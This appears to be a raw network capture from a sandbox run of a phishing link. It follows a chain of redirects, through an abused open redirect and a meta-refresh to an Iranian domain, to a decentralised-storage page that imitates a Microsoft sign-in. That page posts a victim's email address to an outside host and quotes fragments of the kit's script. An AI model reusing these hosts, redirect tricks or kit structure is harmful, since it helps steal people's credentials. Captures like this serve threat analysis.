333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:19 UTC	221	OUT	POST /api/getBackground HTTP/1.1 Host: sender.petanitest.com Connection: keep-alive Content-Length: 30 Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: https://siasky.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:19 UTC	222	OUT	Data Raw: 75 73 65 72 6e 61 6d 65 3d 70 65 74 65 72 25 34 30 64 65 65 70 2d 74 72 65 65 2e 63 6f 6d Data Ascii: username=peter%40deep-tree.com
2022-08-05 18:48:19 UTC	222	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 683 date: Fri, 05 Aug 2022 18:48:19 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 location: https://sender.petanitest.com/cgi-sys/suspendedpage.cgi strict-transport-security: max-age=15552000;includeSubDomains; preload x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2022-08-05 18:48:19 UTC	222	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:20 UTC	223	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: aadcdn.msftauth.net
2022-08-05 18:48:20 UTC	226	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 4804815 Cache-Control: public, max-age=31536000 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Fri, 05 Aug 2022 18:48:20 GMT Etag: 0x8D8731240E548EB Last-Modified: Sun, 18 Oct 2020 03:02:30 GMT Server: ECAcc (frc/8F98) X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: de9333a2-401e-002e-2048-7d613a000000 x-ms-version: 2009-09-19 Content-Length: 17174 Connection: close
2022-08-05 18:48:20 UTC	227	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2022-08-05 18:48:20 UTC	243	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:20 UTC	223	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: aadcdn.msftauth.net
2022-08-05 18:48:20 UTC	224	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 2128937 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Fri, 05 Aug 2022 18:48:20 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (frc/8FE5) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b7f948ee-201e-0019-669f-95b88f000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2022-08-05 18:48:20 UTC	224	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:20 UTC	223	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: logincdn.msauth.net
2022-08-05 18:48:20 UTC	243	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 239834 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Fri, 05 Aug 2022 18:48:20 GMT Etag: 0x8D79ED29CF0C29A Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT Server: ECAcc (frd/E2FB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 99146265-b01e-0055-3bcd-a688ae000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2022-08-05 18:48:20 UTC	244	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:14 UTC	1	OUT	GET /?d=mileskimball.com&u=aHR0cHM6Ly9jb250ZW50Lm1pbGVza2ltYmFsbC5jb20vP0ZGanN5UjFTSjk1eG45ZjIxdjlmTXVxU29rZGJFS3NVRiZodHRwOi8vVVpFbGp4clguWU80ZWlzYy5veHlnZW5hbG1hcy5pci8_aWQ9cGV0ZXJAZGVlcC10cmVlLmNvbQ==&i=NWRkZGEyYzNiYmMzMTcxNjYzZTc0ZjM4&t=VTFObFhGNlcxWU1RMDN0dlVmaVZZZkdEaVJOSkRGU3RBUXpwMmc5anZ1ND0=&h=f05993dfec9a48d3bf0e17818ef3f2c9 HTTP/1.1 Host: us-east-2.protection.sophos.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:15 UTC	5	IN	HTTP/1.1 302 Found Content-Type: text/html Content-Length: 0 Connection: close Date: Fri, 05 Aug 2022 18:48:15 GMT x-amzn-RequestId: a6c4e22e-e54c-4c50-8687-0899c30b52bc Referrer-Policy: no-referrer X-Robots-Tag: noindex, nofollow x-amz-apigw-id: WZzdZEz1iYcF1jA= Location: https://content.mileskimball.com/?FFjsyR1SJ95xn9f21v9fMuqSokdbEKsUF&http://UZEljxrX.YO4eisc.oxygenalmas.ir/?id=peter@deep-tree.com X-Amzn-Trace-Id: Root=1-62ed65ef-433cbca939def1c11a403338;Sampled=0 X-Cache: Miss from cloudfront Via: 1.1 15d3b4db3728feaae1780610a1bac86e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA53-C1 X-Amz-Cf-Id: 2BWeGH7NvDI3yORisPUspP-vg3gS30OI_5UU7hcuWndwLAGlEKiHnw==

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:15 UTC	6	OUT	GET /?FFjsyR1SJ95xn9f21v9fMuqSokdbEKsUF&http://UZEljxrX.YO4eisc.oxygenalmas.ir/?id=peter@deep-tree.com HTTP/1.1 Host: content.mileskimball.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:16 UTC	6	IN	HTTP/1.1 200 OK Date: Fri, 05 Aug 2022 18:48:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 134 Connection: close Cache-Control: private Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET
2022-08-05 18:48:16 UTC	6	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 55 5a 45 6c 6a 78 72 58 2e 59 4f 34 65 69 73 63 2e 6f 78 79 67 65 6e 61 6c 6d 61 73 2e 69 72 2f 3f 69 64 3d 70 65 74 65 72 40 64 65 65 70 2d 74 72 65 65 2e 63 6f 6d 27 22 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="refresh" content="0;url='http://UZEljxrX.YO4eisc.oxygenalmas.ir/?id=peter@deep-tree.com'"></head></html>

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:17 UTC	7	OUT	GET /2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0 HTTP/1.1 Host: siasky.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://uzeljxrx.yo4eisc.oxygenalmas.ir/?id=peter@deep-tree.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:17 UTC	7	IN	HTTP/1.1 200 OK Server: openresty/1.21.4.1 Date: Fri, 05 Aug 2022 18:48:17 GMT Content-Type: text/html Content-Length: 38078 Connection: close Vary: Accept-Encoding Accept-Ranges: bytes Content-Disposition: inline; filename="delete.html" Etag: "abb0519a28e9aab645ec0b5cd5cec9e6880532cfda97b408cfaf245b47af99da" Skynet-Cache-Ratio: 1 Skynet-Skylink: FAABQewUPKz8BwIeWTL8886dJxwC_oNyfscZ5_OJrS1TKA Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, HEAD, OPTIONS, PUT, PATCH, DELETE Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,If-None-Match,Cache-Control,Content-Type,Range,X-HTTP-Method-Override,upload-offset,upload-metadata,upload-length,tus-version,tus-resumable,tus-extension,tus-max-size,upload-concat,location,Skynet-API-Key Access-Control-Expose-Headers: Content-Length,Content-Range,ETag,Accept-Ranges,Skynet-File-Metadata,Skynet-Skylink,Skynet-Proof,Skynet-Portal-Api,Skynet-Server-Api,upload-offset,upload-metadata,upload-length,tus-version,tus-resumable,tus-extension,tus-max-size,upload-concat,location Skynet-Portal-Api: https://siasky.net Skynet-Server-Api: https://eu-fin-6.siasky.net Strict-Transport-Security: max-age=63072000
2022-08-05 18:48:17 UTC	8	IN	Data Raw: 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 0a 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 63 6f 6e 73 74 20 65 6d 61 69 6c 73 20 3d 20 22 67 36 36 6b 40 74 76 2e 63 6f 6d 22 3b 0a 20 20 20 09 09 09 2f 2f 20 63 6f 6e 73 74 20 6b 65 79 20 3d 20 22 24 32 79 24 31 30 24 34 6a 65 71 39 45 59 44 55 70 71 6e 58 4c 5a 48 68 42 53 77 55 75 44 75 65 4b 38 35 53 69 55 58 37 6b 6b 39 62 4b 5a 6b 59 35 59 70 31 34 6a 7a 34 48 52 38 32 22 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 63 72 69 70 74 20 0a 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 72 61 77 63 64 6e 2e 67 69 74 68 61 63 6b 2e 63 6f 6d 2f 6d Data Ascii: <html dir="ltr" class="" lang="en"><head> <script> // const emails = "g66k@tv.com"; // const key = "$2y$10$4jeq9EYDUpqnXLZHhBSwUuDueK85SiUX7kk9bKZkY5Yp14jz4HR82"; </script> ... <script src="https://rawcdn.githack.com/m
2022-08-05 18:48:17 UTC	23	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 20 74 69 74 6c 65 3d 22 22 3e 5b 45 6d 61 69 6c 5d 3c 2f 64 69 76 3e 20 3c 21 2d 2d 20 45 6d 61 69 6c 20 2d 2d 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 3c 21 2d 2d 20 2f 6b 6f 20 2d 2d 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 69 6e 61 74 69 6f 6e 2d 76 69 65 77 20 68 61 73 2d 69 64 65 6e 74 69 74 79 2d 62 61 6e 6e 65 72 20 0a 61 6e 69 6d 61 74 65 20 73 6c 69 64 65 2d 69 6e 2d 6e 65 78 74 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 63 73 73 3a 20 7b 0a 20 20 20 20 20 20 20 20 27 68 61 73 2d 69 64 65 6e Data Ascii: title="">[Email]</div> ... Email --></div></div></div>... /ko --><div class="pagination-view has-identity-banner animate slide-in-next" data-bind="css: { 'has-iden
2022-08-05 18:48:17 UTC	39	IN	Data Raw: 09 09 09 09 09 09 09 09 3c 21 2d 2d 20 2f 6b 6f 20 2d 2d 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 21 2d 2d 20 6b 6f 20 69 66 3a 20 24 70 61 72 65 6e 74 2e 63 75 72 72 65 6e 74 56 69 65 77 49 6e 64 65 78 28 29 20 0a 3d 3d 3d 20 24 69 6e 64 65 78 28 29 20 2d 2d 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 21 2d 2d 20 2f 6b 6f 20 2d 2d 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 21 2d 2d 20 6b 6f 20 69 66 3a 20 24 70 61 72 65 6e 74 2e 63 75 72 72 65 6e 74 56 69 65 77 49 6e 64 65 78 28 29 20 0a 3d 3d 3d 20 24 69 6e 64 65 78 28 29 20 2d 2d 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 21 2d 2d 20 2f 6b 6f 20 2d 2d 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 21 2d 2d 20 6b 6f 20 69 66 3a 20 24 70 61 72 65 6e 74 2e 63 75 72 72 65 6e 74 56 69 Data Ascii: ... /ko -->... ko if: $parent.currentViewIndex() === $index() -->... /ko -->... ko if: $parent.currentViewIndex() === $index() -->... /ko -->... ko if: $parent.currentVi

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:17 UTC	46	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_rayhgcterrtxpnvapp3erg2.css HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive Origin: https://siasky.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:17 UTC	46	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 4297455 Cache-Control: public, max-age=31536000 Content-MD5: +rPQJ6BWMovrMLNrlexvKQ== Content-Type: text/css Date: Fri, 05 Aug 2022 18:48:17 GMT Etag: 0x8D88DD061D3546B Last-Modified: Sat, 21 Nov 2020 03:49:00 GMT Server: ECAcc (frc/8FAB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5638610f-a01e-003d-2ce6-812d72000000 x-ms-version: 2009-09-19 Content-Length: 107668 Connection: close
2022-08-05 18:48:17 UTC	47	IN	Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 Data Ascii: /! Copyright (C) Microsoft Corporation. All rights reserved. //*!------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed
2022-08-05 18:48:17 UTC	63	IN	Data Raw: 73 Data Ascii: s
2022-08-05 18:48:17 UTC	63	IN	Data Raw: 2d 31 2c 2e 63 6f 6c 2d 78 73 2d 32 2c 2e 63 6f 6c 2d 78 73 2d 33 2c 2e 63 6f 6c 2d 78 73 2d 34 2c 2e 63 6f 6c 2d 78 73 2d 35 2c 2e 63 6f 6c 2d 78 73 2d 36 2c 2e 63 6f 6c 2d 78 73 2d 37 2c 2e 63 6f 6c 2d 78 73 2d 38 2c 2e 63 6f 6c 2d 78 73 2d 39 2c 2e 63 6f 6c 2d 78 73 2d 31 30 2c 2e 63 6f 6c 2d 78 73 2d 31 31 2c 2e 63 6f 6c 2d 78 73 2d 31 32 2c 2e 63 6f 6c 2d 78 73 2d 31 33 2c 2e 63 6f 6c 2d 78 73 2d 31 34 2c 2e 63 6f 6c 2d 78 73 2d 31 35 2c 2e 63 6f 6c 2d 78 73 2d 31 36 2c 2e 63 6f 6c 2d 78 73 2d 31 37 2c 2e 63 6f 6c 2d 78 73 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 78 73 2d 32 34 7b 66 6c 6f 61 74 3a 6c Data Ascii: -1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-13,.col-xs-14,.col-xs-15,.col-xs-16,.col-xs-17,.col-xs-18,.col-xs-19,.col-xs-20,.col-xs-21,.col-xs-22,.col-xs-23,.col-xs-24{float:l
2022-08-05 18:48:17 UTC	79	IN	Data Raw: 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 32 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 30 25 7d 7d 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 30 7d 6c 65 67 65 6e 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f Data Ascii: gin-left:95.83333%}.col-xl-offset-24{margin-left:100%}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;border:0}label{display:inline-block;max-width:100%}input[type="search"]{-webkit-box-sizing:border-box;-moz-bo
2022-08-05 18:48:17 UTC	95	IN	Data Raw: 6c 6f Data Ascii: lo
